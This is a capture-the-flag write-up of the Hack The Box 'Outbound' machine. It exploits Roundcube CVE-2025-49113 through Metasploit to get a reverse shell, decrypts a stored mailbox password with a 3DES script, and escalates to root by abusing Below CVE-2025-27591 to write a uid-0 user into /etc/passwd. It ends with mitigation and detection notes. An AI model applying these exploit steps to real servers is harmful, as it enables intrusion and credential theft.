Post

HTB Writeup: Outbound

Roundcube Webmail post-auth RCE (CVE-2025-49113) → decrypt stored mailbox credentials → pivot to SSH as jacob → privilege escalation to root via Below (CVE-2025-27591).

HTB Writeup: Outbound

A quick walkthrough of HTB Outbound Linux Easy Box.

TL;DR

  • Nmap shows SSH and HTTP (nginx) only. HTTP redirects to mail.outbound.htb, which runs Roundcube Webmail.
  • HTB provides initial Roundcube credentials for tyler / LhKL1o9Nm3X2.
  • Roundcube is version 1.6.10, vulnerable to CVE-2025-49113 (post-auth RCE via PHP object deserialization).
    → Use the Metasploit module exploit/multi/http/roundcube_auth_rce_cve_2025_49113 to get a www-data shell.
  • From the Roundcube config file, extract the MySQL credentials and des_key.
    → Query the session table, decode the serialized session blob for jacob, and use the des_key to decrypt his stored IMAP password with 3DES (DES-EDE3-CBC).
  • Log into Jacob’s Roundcube mailbox with the decrypted password, grab the new system password from Tyler’s email, and SSH in as jacob.
  • sudo -l shows that jacob can run /usr/bin/below as root without a password.
    → The installed version is vulnerable to CVE-2025-27591 (world-writable /var/log/below), so use a public PoC to abuse a symlink to /etc/passwd and get a root shell.
  • Read user.txt and root.txt.

Initial enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Outbound]
└─$ sudo nmap -Pn -n 10.129.228.206 -sC -sV -T4 -A -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 08:36 CEST
Nmap scan report for 10.129.228.206
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1025/tcp)
HOP RTT      ADDRESS
1   27.51 ms 10.10.14.1
2   27.58 ms 10.129.228.206

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.34 seconds

ProTip™: When you see an HTTP service that immediately redirects to a hostname (here: mail.outbound.htb), add it to /etc/hosts straight away. It saves a lot of “why is this 404’ing?” headaches later.

Info: For this box, HTB gives you initial Roundcube credentials for the tyler mailbox in the machine description. We’ll use those to get our first foothold.


Foothold

As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2

After adding the domain to /etc/hosts:

1
10.129.228.206  outbound.htb mail.outbound.htb

we can browse to http://mail.outbound.htb/ and log into Roundcube with Tyler’s credentials.

roundcube

From the UI footer / RCMAIL_VERSION we identify the Roundcube version as 1.6.10. Looking for any available exploit, I found this one about CVE-2025-49113 :

https://www.exploit-db.com/exploits/52324

This is a post-authentication RCE via PHP object deserialization when handling the _from parameter in a specific upload endpoint.

There is a Metasploit module available:

  • exploit/multi/http/roundcube_auth_rce_cve_2025_49113

So I fire up msfconsole and configure it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Outbound]
└─$ sudo msfconsole                                   
Metasploit tip: Use the 'capture' plugin to start multiple 
authentication-capturing and poisoning services
                                                  
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%     %%%         %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %  %%%%%%%%   %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%  %%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%    %%   %%%%%%%%%%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%  %%%%%
%%%%  %%  %%  %      %%      %%    %%%%%      %    %%%%  %%   %%%%%%       %%
%%%%  %%  %%  %  %%% %%%%  %%%%  %%  %%%%  %%%%  %% %%  %% %%% %%  %%%  %%%%%
%%%%  %%%%%%  %%   %%%%%%   %%%%  %%%  %%%%  %%    %%  %%% %%% %%   %%  %%%%%
%%%%%%%%%%%% %%%%     %%%%%    %%  %%   %    %%  %%%%  %%%%   %%%   %%%     %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          %%%%%%%%%%%%%%                                                                                                                                       
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%                                                                                                                                       
                                                                                                                                                                                                                    

       =[ metasploit v6.4.69-dev                          ]
+ -- --=[ 2529 exploits - 1302 auxiliary - 431 post       ]
+ -- --=[ 1672 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[*] Starting persistent handler(s)...
msf6 > search roundcube

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  auxiliary/gather/roundcube_auth_file_read             2017-11-09       normal     No     Roundcube TimeZone Authenticated File Disclosure
   1  exploit/multi/http/roundcube_auth_rce_cve_2025_49113  2025-06-02       excellent  Yes    Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization
   2    \_ target: Linux Dropper                            .                .          .      .
   3    \_ target: Linux Command                            .                .          .      .


Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/http/roundcube_auth_rce_cve_2025_49113
After interacting with a module you can manually set a TARGET with set TARGET 'Linux Command'

msf6 > use 1
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > show options 

Module options (exploit/multi/http/roundcube_auth_rce_cve_2025_49113):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HOST                        no        The hostname of Roundcube server
   PASSWORD                    yes       Password to login with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The URI of the Roundcube Application
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME                    yes       Email User to login with
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux Dropper



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set lhost tun0
lhost => 10.10.14.18
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set username tyler
username => tyler
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set password LhKL1o9Nm3X2
password => LhKL1o9Nm3X2
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set vhost mail.outbound.htb
vhost => mail.outbound.htb
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set rhosts 10.129.228.206
rhosts => 10.129.228.206
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > run
[*] Started reverse TCP handler on 10.10.14.18:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Extracted version: 10610
[+] The target appears to be vulnerable.
[*] Fetching CSRF token...
[+] Extracted token: OBe26xfrUwXlVSpHB9ewk8vxyLCukLvI
[*] Attempting login...
[+] Login successful.
[*] Preparing payload...
[+] Payload successfully generated and serialized.
[*] Uploading malicious payload...
[+] Exploit attempt complete. Check for session.
[*] Sending stage (3045380 bytes) to 10.129.228.206
[*] Meterpreter session 1 opened (10.10.14.18:4444 -> 10.129.228.206:58706) at 2025-07-14 08:45:45 +0200

meterpreter > ps

Process List
============

 PID  PPID  Name           Arch    User      Path
 ---  ----  ----           ----    ----      ----
 1    0     init.sh        x86_64  root
 40   1     mariadbd-safe  x86_64  root
 143  40    mariadbd       x86_64  mysql
 144  40    logger         x86_64  root
 203  1     nginx          x86_64  root
 206  203   nginx          x86_64  www-data  /usr/sbin/nginx
 207  203   nginx          x86_64  www-data  /usr/sbin/nginx
 248  1     php-fpm8.3     x86_64  root
 249  248   php-fpm8.3     x86_64  www-data
 250  248   php-fpm8.3     x86_64  www-data
 557  1     master         x86_64  root
 558  557   pickup         x86_64  postfix
 559  557   qmgr           x86_64  postfix
 568  1     tail           x86_64  root
 593  1     dovecot        x86_64  root
 594  593   anvil          x86_64  dovecot
 595  593   log            x86_64  root
 596  593   config         x86_64  root
 665  593   stats          x86_64  dovecot
 666  593   auth           x86_64  dovecot
 723  593   auth           x86_64  root
 757  1     sh             x86_64  www-data  /usr/bin/dash
 762  757   sHWGO          x86_64  www-data  /tmp/sHWGO

meterpreter > getuid 
Server username: www-data
meterpreter > 

I now have code execution as www-data in the Roundcube host. The next step is to loot Roundcube’s configuration in which I immediately found the DB credentials and DES key:

1
2
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

With these, I can access the Roundcube database and decrypt stored secrets.

1
2
3
4
5
mysql -D roundcube -uroundcube -pRCDBPass2025 -e "select * from users;"
user_id username        mail_host       created last_login      failed_login    failed_login_counter    language        preferences
1       jacob   localhost       2025-06-07 13:55:18     2025-06-11 07:52:49     2025-06-11 07:51:32     1       en_US   a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";}
2       mel     localhost       2025-06-08 12:04:51     2025-06-08 13:29:05     NULL    NULL    en_US   a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";}
3       tyler   localhost       2025-06-08 13:28:55     2025-07-14 06:45:42     2025-06-11 07:51:22     1       en_US   a:1:{s:11:"client_hash";s:16:"Y2Rz3HTwxwLJHevI";}

There was also a base64 encoded blob in the session table :

1
2
3
mysql -D roundcube -uroundcube -pRCDBPass2025 -e "select * from session;"
sess_id changed ip      vars
6a5ktqih5uca6lj8vrmgh9v0oh      2025-06-08 15:46:40     172.17.0.1      bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7

Once decoded, I got a password, auth secret, request token and des key :

1
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s:2:"10";

So :

1
2
3
4
password : L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
auth_secret : DpYqv6maI9HxDL5GhcCd8JaQQW
request_token : TIsOaABA1zHSXZOBpH6up5XFyayNRHaw
des key : rcmail-!24ByteDESkey*Str

But we need to understand better how this encryption is working.

The interesting part in roundcube’s code look like this :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/**
     * Decrypt a string
     *
     * @param string $cipher Encrypted text
     * @param string $key    Encryption key to retrieve from the configuration, defaults to 'des_key'
     * @param bool   $base64 Whether or not input is base64-encoded
     *
     * @return string|false Decrypted text, false on error
     */
    public function decrypt($cipher, $key = 'des_key', $base64 = true)
    {
        // @phpstan-ignore-next-line
        if (!is_string($cipher) || !strlen($cipher)) {
            return false;
        }

        if ($base64) {
            $cipher = base64_decode($cipher, true);
            if ($cipher === false) {
                return false;
            }
        }

        $ckey = $this->config->get_crypto_key($key);
        $method = $this->config->get_crypto_method();
        $iv_size = openssl_cipher_iv_length($method);
        $tag = null;

        if (preg_match('/^##(.{16})##/s', $cipher, $matches)) {
            $tag = $matches[1];
            $cipher = substr($cipher, strlen($matches[0]));
        }

        $iv = substr($cipher, 0, $iv_size);

        // session corruption? (#1485970)
        if (strlen($iv) < $iv_size) {
            return false;
        }

        $cipher = substr($cipher, $iv_size);
        $clear = openssl_decrypt($cipher, $method, $ckey, \OPENSSL_RAW_DATA, $iv, $tag);

        return $clear;
    }

1
2
3
public function get_crypto_method() { 
	return $this->get('cipher_method') ?: 'DES-EDE3-CBC'; 
}
  • It uses 3DES in CBC mode.
  • The first 8 bytes of the base64-decoded blob are the IV.
  • The rest is the actual ciphertext.

The decryption logic is that iv is the first 8 bytes of the b64 decoded password value, so : 2fb46fd3403c4eec

1
2
3
$iv = substr($cipher, 0, 8);
$ciphertext = substr($cipher, 8);
openssl_decrypt($ciphertext, 'DES-EDE3-CBC', $key, ..., $iv);

I can replicate that in Python with pycryptodome:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import DES3
import base64

b64 = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
data = base64.b64decode(b64)

key = b'rcmail-!24ByteDESkey*Str'  # 24 bytes
iv = data[:8]                      # first 8 bytes = IV
ciphertext = data[8:]              # rest = encrypted password

cipher = DES3.new(key, DES3.MODE_CBC, iv=iv)
plaintext = cipher.decrypt(ciphertext)

# PKCS5/7 unpad
pad_len = plaintext[-1]
plaintext = plaintext[:-pad_len]

print("Decrypted password:", plaintext.decode())
1
2
3
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Outbound]
└─$ python decrypt.py
Decrypted password: 595mO8DmwGeD

You can also use this online tool :

https://www.devglan.com/online-tools/triple-des-encrypt-decrypt

decrypt

I now have the password for jacob. Let’s login and see what’s in this user mailbox.

jacob

Great, there is mail from Tyler giving us the new password : gY4Wr3a1evp4


User Flag

This password gave me direct SSH access as jacob and the user flag :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Outbound]
└─$ ssh jacob@outbound.htb                     
jacob@outbound.htb's password: 
Permission denied, please try again.
jacob@outbound.htb's password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-63-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Jul 14 01:27:14 PM UTC 2025

  System load:  0.0               Processes:             255
  Usage of /:   72.6% of 6.73GB   Users logged in:       0
  Memory usage: 13%               IPv4 address for eth0: 10.129.228.206
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Thu Jul 10 11:44:49 2025 from 10.10.14.77
jacob@outbound:~$ ll
total 28
drwxr-x--- 3 jacob jacob 4096 Jul  8 20:14 ./
drwxr-xr-x 5 root  root  4096 Jul  8 20:14 ../
lrwxrwxrwx 1 root  root     9 Jul  8 11:12 .bash_history -> /dev/null
-rw-r--r-- 1 jacob jacob  220 Jun  8 12:14 .bash_logout
-rw-r--r-- 1 jacob jacob 3771 Jun  8 12:14 .bashrc
drwx------ 2 jacob jacob 4096 Jun 11 11:32 .cache/
-rw-r--r-- 1 jacob jacob  807 Jun  8 12:14 .profile
-rw-r----- 1 root  jacob   33 Jul 14 06:36 user.txt
jacob@outbound:~$ cat user.txt 
586c09760e9dd9291a230147ffc5d892
jacob@outbound:~$ 

Privilege Escalation

Let’s see what can jacob do using sudo :

1
2
3
4
5
6
jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

That’s an unusual binary, but I found that below is a resource monitor from Meta.

https://github.com/facebookincubator/below

There is already an existing exploit here :

https://github.com/BridgerAlderson/CVE-2025-27591-PoC

The description is :

A privilege escalation vulnerability existed in the Below service prior to v0.9.0 due to the creation of a world-writable directory at /var/log/below. This could have allowed local unprivileged users to escalate to root privileges through symlink attacks that manipulate files such as /etc/shadow.

The general idea:

  • Confirm /var/log/below is world-writable.
  • Remove error_root.log if it exists.
  • Create a symlink error_root.log -> /etc/passwd.
  • Trigger sudo below record so that Below writes a log entry as root, following the symlink.
  • Inject a line in /etc/passwd that creates a new root-privileged user we control.

Root Flag

Using the exploit, I now have a root shell through the attacker user injected into /etc/passwd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
jacob@outbound:~$ python3 exploit.py 
[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] /var/log/below/error_root.log is a regular file. Removing it...
[+] Symlink created: /var/log/below/error_root.log -> /etc/passwd
[+] Target is vulnerable.
[*] Starting exploitation...
[+] Wrote malicious passwd line to /tmp/attacker
[+] Symlink set: /var/log/below/error_root.log -> /etc/passwd
[*] Executing 'below record' as root to trigger logging...
Jul 14 15:19:52.108 DEBG Starting up!
Jul 14 15:19:52.109 ERRO 
----------------- Detected unclean exit ---------------------
Error Message: Failed to acquire file lock on index file: /var/log/below/store/index_01752451200: EAGAIN: Try again
-------------------------------------------------------------
[+] 'below record' executed.
[*] Copying payload into /etc/passwd via symlink...
[+] Running: cp /tmp/attacker /var/log/below/error_root.log
[*] Attempting to switch to root shell via 'su attacker'...
attacker@outbound:/home/jacob# id
uid=0(attacker) gid=0(root) groups=0(root)
attacker@outbound:/home/jacob# 
attacker@outbound:/home/jacob# id
uid=0(attacker) gid=0(root) groups=0(root)
attacker@outbound:/home/jacob# cd /root
attacker@outbound:~# ll
total 40
drwx------  6 root root 4096 Jul 14 06:36 ./
drwxr-xr-x 23 root root 4096 Jul  8 20:14 ../
lrwxrwxrwx  1 root root    9 Jul  8 11:12 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr 22  2024 .bashrc
drwx------  2 root root 4096 Jul  8 20:14 .cache/
-rw-------  1 root root   20 Jul  9 13:53 .lesshst
drwxr-xr-x  3 root root 4096 Jul  8 20:14 .local/
-rw-r--r--  1 root root  161 Apr 22  2024 .profile
-rw-r-----  1 root root   33 Jul 14 06:36 root.txt
drwxr-xr-x  2 root root 4096 Jul  9 13:47 .scripts/
drwx------  2 root root 4096 Jul  8 20:14 .ssh/
attacker@outbound:~# cat root.txt 
3eea69dd79f550441da316b26ccd7371
attacker@outbound:~# 

Root flag obtained.


Mitigations / Blue team notes

Roundcube / Web layer

  • Patch Roundcube
    • Upgrade to 1.5.10 / 1.6.11 or later, which fixes CVE-2025-49113 (post-auth RCE via PHP object deserialization in the _from parameter).
    • Subscribe to upstream security advisories and keep webmail software on a regular patch cycle.
  • Harden crypto & secrets
    • Rotate the des_key used by Roundcube and force a password reset for all mail users if compromise is suspected (an attacker can decrypt stored IMAP passwords once they have the key).
    • Consider using a stronger cipher and key management mechanism instead of hard-coded keys in config files.
    • Restrict filesystem permissions so web server users (www-data) cannot read secrets beyond what’s strictly required.
  • Least privilege DB access
    • Restrict the Roundcube DB user to only required tables/permissions (e.g., SELECT/INSERT/UPDATE on specific tables) to limit what an attacker can dump if the app is compromised.
  • Detection ideas
    • Monitor application logs and WAF telemetry for suspicious requests to Roundcube endpoints handling uploads, especially with abnormal _from parameters or serialized payloads.
    • Alert on unusual spikes in login failures or new IPs accessing Roundcube with valid user creds.

Host / Below (CVE-2025-27591)

  • Patch Below
    • Upgrade below to v0.9.0 or later, which remediates the world-writable logging path and insecure symlink behavior.
  • Fix file permissions
    • Ensure /var/log/below is not world-writable; typical log directories should be owned by root:root with 0750 or similar.
    • Periodically audit for world-writable directories and log files under /var and /tmp that are not explicitly needed.
  • Harden sudo
    • Remove NOPASSWD rights for below from non-admin users. If it must be available:
      • Use a dedicated service user with limited shell access.
      • Wrap below in a controlled script that forbids unsafe modes and restricts arguments even further.
  • Detection ideas
    • Alert on:
      • Creation of symlinks inside /var/log/below/ pointing to sensitive files (e.g. /etc/passwd, /etc/shadow).
      • Execution of sudo below record by non-admin users.
      • Changes to /etc/passwd or /etc/shadow outside of expected tools (useradd, passwd, configuration management).
    • Monitor for new accounts with uid=0 or users suddenly added to privileged groups.

General

  • Credential hygiene
    • Avoid sending system passwords over email in cleartext. Use a secure vault or out-of-band distribution mechanism.
    • Enforce password rotation and MFA for webmail access.
  • Segmentation & containment
    • Isolate webmail servers from core infrastructure and apply strict egress filtering so a compromised webmail instance has limited reach.
    • Use containerization and strong AppArmor/SELinux profiles to reduce impact of an RCE.
This post is licensed under CC BY 4.0 by the author.